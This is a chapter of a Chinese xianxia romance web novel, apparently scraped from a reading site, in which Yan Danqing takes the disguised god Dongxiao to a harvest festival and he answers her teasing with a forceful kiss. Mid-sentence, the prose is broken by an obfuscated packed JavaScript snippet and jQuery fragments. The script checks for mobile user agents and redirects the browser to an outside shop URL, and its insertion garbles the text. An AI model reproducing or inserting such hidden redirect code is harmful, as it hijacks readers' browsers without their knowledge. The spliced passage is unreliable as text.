35. 第 35 章
作品:《明月高悬只能照我》 这几日冬宵日日为她送来一碗汤药,她手臂上的伤已经好了大半。
他疏离又克制的目光,渐渐与记忆中的人重叠。
傍晚,店小二送来热水,看雁丹青倚在窗边,提醒道:“客官,明日是丰年节,您不添置些衣物参加游会吗?”
“丰年节?”雁丹青疑惑地看向店小二,重复他说的节日。
店小二笑呵呵地看着她,解释道:“您不是穹西城人吧?金秋之际,我们穹西城年年举办丰年节,一是为了庆祝丰收,二是为有情人牵红线。这一天大家都会穿上最漂亮的衣服参加游会,热闹极了。”
游会…她倒是从未参与过人间的节日,“听着十分有趣。”
听见她回应,店小二忙点头附和:“是啊客官,与您同行的那位公子气宇非凡,您二人……”
他没说完,话中意思显而易见,雁丹青轻笑了下,并未接话。
昨日陆西辞传音给她,仙门已商榷人选前来助她活捉那影豹,想来也快到了。
房门轻轻叩响,冬宵已经端着药碗站在门外,青瓷碗沿蒸腾着微白雾气,他的面容在雾气后若隐若现,雁丹青看着他苍白的面容,一时分不清是药气氤氲,还是他身体虚弱所致。
她接过药碗,指尖不经意触到他的指节,“你怎么了?脸色这么差。”
冬宵却避开她的视线,摇了摇头道:“无事,可能是没休息好。”
他转身欲走,身后响起雁丹青的声音:“听闻明日是丰年节,你可有时间?”
冬宵脚步微顿,回身看向她的目光有些诧异。这段时间她对人间的习俗向来不闻不问,如今居然主动问起节庆之事。
不等他回答,雁丹青已率先开口:“陪我去游会,算你报恩的一部分。”
她挑着眉,眼尾微微上扬,语气带着些跋扈,褪去了冷硬面具,活脱脱一副骄纵少女模样。
冬宵怔住,喉结微动,半晌才低声道:“好。”
翌日,日上三竿,雁丹青已换上一袭绯色织金裙,艳红色的裙裾曳地如云霞翻涌,袖口金线绣着缠枝莲纹,在晨光里熠熠生辉。
她难得描了淡妆,长眉入鬓,唇色点朱,笑盈盈地倚在客栈楼梯栏边,等着冬宵和夏允君。
夏允君先一步踏出房门,见她盛装而立,笑着朝她招手。
她的胎相已稳,如今月份尚小,行动间仍透着轻盈,一袭藕荷色褙子衬得气色温润,显不出半点孕态。
冬宵紧随其后,一袭月白锦袍衬得他身形清瘦,见到雁丹青,眸中闪过一丝惊艳,又很快眨了眨眼敛去。
“走吧。”雁丹青率先迈步下楼,今日街市早已人声鼎沸,彩幡招展,游会已拉开帷幕。
三人随着人潮缓缓前行,雁丹青腰间的云笺玉轻轻闪了起来。
她倒是未避开两人,周围喧嚣,陆西辞的声音断断续续传来:“此次是……去助你,今…便能到。”
听了半天,她也没听清仙门派了谁来,只知道今晚那人就会抵达。
算了,只要有人来便好。
她扬起唇角,将玉佩按回腰间,目光掠过街边糖画摊上金灿灿的凤凰,却未注意到身旁夏允君苍白的面容。
逛了半刻钟,三人逛够了热闹,折回客栈。
夏允君一转身不知去了何处,雁丹青想着衣袖中的六颗灵核,今日人多,不如就将这些灵核撒到人潮最盛处,这些弟子定会投胎到不错的人家。
天气晴朗,微风拂面,她踏着剑身高高腾起,绯色裙裾在风中翻飞。
人间街道繁华,雁丹青站在屋顶瓦片上俯瞰人潮,指尖微光流转,六颗灵核如星子般跃入风中,划出淡青轨迹坠向街市。
她特意选了些只远远望去便觉得夫妻恩爱的身影,灵核悄然没入妻子的腹中,仿佛一粒粒种子埋进土壤。
夜幕降临,穹西城内灯笼连成线,放眼望去,一片丰收喜悦之景。
拱桥之上,一道修长身影负手而立,白衣黑发,望着桥下河流中漂浮的点点灯影出神。
“你想放灯?”雁丹青不知什么时候来到他身侧。
冬宵正想摇头,却见她已从袖中取出一盏淡粉色的荷花灯,灯盏素净,莲瓣边缘缀着细碎金粉。
不由分说,她将灯塞进他手中,“走吧。”
她眉眼含笑,唇瓣微扬,皎洁的月光为她白净的面庞镀上一层白纱,舒展的眉宇间带着些许轻松。
河岸边两两一对,执灯低语,都是来祈愿的年轻男女。
他们混在人群中,冬宵竟生出些恍惚,仿佛他与雁丹青也是来祈愿姻缘美满的一对爱侣。
他垂眸望着手中那盏莲灯,灯芯微颤,雁丹青不知从哪里寻来了火种,轻轻一触,灯芯“啪”地燃起暖黄火苗。
冬宵侧目看向她,轻声开口,“你知道这灯是什么意思吗?”
她眼波流转间冲着他勾了勾唇,面容在他眼中微微放大,“祈愿姻缘。”
冬宵心口微滞,不想她竟答得如此直白,后退半步避开她的眼眸,“姑娘心中…已有想要祈愿的人了吗?”
雁丹青笑意未减,未将他避开的举动放在心上,慢悠悠道:“以前是有的,不过现在嘛,换了一位。”
他终于知道今日一直围绕他的古怪感从何而来!
雁丹青对他的态度,与之前截然不同!
初遇时她冷硬疏离,对他满是不耐与戒备,如今却似春冰初融,言语间甚至带着几分暧昧。
这样的神色与语气,分明是她在仙门中对着自己独有的模样。
如今她却将这副模样尽数给了一个人间男子,即便这人间男子也是自己,可…可她又不知道沈寂尘与冬宵是同一人,她怎么能这样轻易地将这份情意转移到另一人身上!
胸腔中的心脏骤然缩紧,仿佛被无形之手攥住,不可言喻的怒气在喉间翻涌,在胸口横冲直撞着,倔强地要找一个出口宣泄。
又是这种情绪,他不明白从何而来的情绪。
见他低垂着头,脸庞落入阴影中,雁丹青心中暗笑,忽地抬手轻轻捏住他下颌,迫使他抬眸直视自己,“换了的这人,远在天边,近在眼前。”
男子凸起的喉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184086|195537||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
结上下滑动,好看的眸中满是惊愕,在她直白的注视下闪过一丝不经察觉的委屈。
他急忙甩开雁丹青的手,下颌紧绷,胸膛轻轻起伏,“姑娘莫,莫要说笑,你我萍水相逢,情之一字怎可如此草率。”
说罢,不等雁丹青回应,他有些急促地开口,“姑娘既然说从前有爱侣,想必与那人定是相知相许,姑娘还是珍惜来之不易的情谊吧。”
听着他苦口婆心的劝解,雁丹青几乎笑出声来,强忍着笑意去牵他的手,手掌扣住他想要挣脱的腕骨,上前一步道:“我与他也没有许下山盟海誓。”
她顿了一顿,眸光灼灼,“那人哪里有你好?他倔强又不恭顺,对我实在太疏离,不像你这般柔顺合我心意,我对他啊,早就……厌了。”
分明从她口中说出最后两个字时,如一片羽毛般轻飘飘落在耳边,他却觉得心口一空,那两个字犹如重锤砸下,震得耳膜嗡鸣,喉间泛起铁锈般的腥甜。
厌了,她说她对他厌了。
她说得没错,他确实倔强疏离,对雁丹青从不曾俯首低眉。
她对他厌了,却转头将满腔柔情倾注于他为接近她伪造出空壳上,一时间他竟不知是该悲伤,还是该高兴。
指尖深深掐入掌心,酸涩如藤蔓缠绕心脉,越收越紧,直冲眼眶。
雁丹青见他眸光水盈盈的,心中知道不能再刺激他,可看他委屈的模样,终究没忍住逗弄心思:“若是你介意他,我以后不见他便是了,只有你一人,好不好?”
她甚至能为了眼前这副凡人躯壳,承诺再也不见他!
她怎么敢!
冬宵猛地抬头,眸中阴沉着反扣住她的手腕,力道大得几乎要捏碎她的骨头,不管不顾地将手掐上她的腰,什么男女大防、什么尊卑礼法,此刻尽数崩塌。
手上的莲花灯骤然落于地面,灯盏碎裂,摇曳的火苗倏然熄灭。
他狠狠将她带入自己怀中,唇齿相碾,重重在她唇上咬了一下,不等她吃痛低吟,舌尖已强势闯入她微启的唇齿间。
雁丹青没想到他会这般大胆,一向清冷守规的神明,此刻竟如肆意的野火,禁锢着自己腰身的手掌灼热滚烫,探入自己口中的舌尖执拗缠绵,这是她不曾见过的沈寂尘。
舌根被他抵住,几乎喘不上气,他却好似不满足似的愈发深入地攫取她的气息,柔软的舌扫过她口腔的每一处,像是要将她彻底拆解、吞咽、融进自己的骨血里。
这凶狠的吻与之前大相径庭,仙门中的神明即便气极也只会啃咬她的唇瓣,生疏又克制。
而人间的沈寂尘,想必也从之前积攒了经验,吻技娴熟得令人心惊,一副将她拆入腹中的架势。
谁让她不知死活地逗弄他,真是自找的苦头,雁丹青心中苦笑。
不知过了多久,气势汹汹的吻转变为轻柔缱绻,唇齿间缠绵渐深,呼吸交叠间,雁丹青悄悄睁眼去看他。
一滴泪正从他紧闭的眼尾滑落,顺着下颌落进她的衣领,月光反射着他泛着水光的泪痕。
她把无情无欲的神明,弄哭了。

